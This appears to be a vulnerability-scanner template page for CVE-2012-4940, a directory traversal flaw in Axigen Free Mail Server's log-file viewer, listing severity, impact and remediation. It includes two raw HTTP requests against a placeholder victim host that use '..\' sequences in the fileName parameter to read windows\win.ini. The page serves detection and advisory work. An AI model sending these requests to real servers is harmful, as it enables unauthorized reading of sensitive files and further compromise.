| Title | Axigen Mail Server Filename Directory Traversal |
|---|---|
| Author | dhiyaneshDk |
| Severity | Medium |
| Impact | An attacker can read sensitive files, potentially leading to unauthorized access, data leakage, or further compromise of the server. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Axigen Mail Server. |
| CVSS Score | 6.4 |
| EPSS Score | 0.8485 |
| CVE ID | CVE-2012-4940 |
| CWE ID | CWE-22 |
| Tags | cve cve2012 edb axigen lfi mail gecad vkev vuln |
Multiple directory traversal vulnerabilities in the View Log Files component in Axigen Free Mail Server allow remote attackers to read or delete arbitrary files via a .. (dot dot) in the fileName parameter in a download action to source/loggin/page_log_dwn_file.hsp, or the fileName parameter in an edit or delete action to the default URI.
GET /?h=44ea8a6603cbf54e245f37b4ddaf8f36&page=vlf&action=edit&fileName=..\..\..\windows\win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\..\..\windows\win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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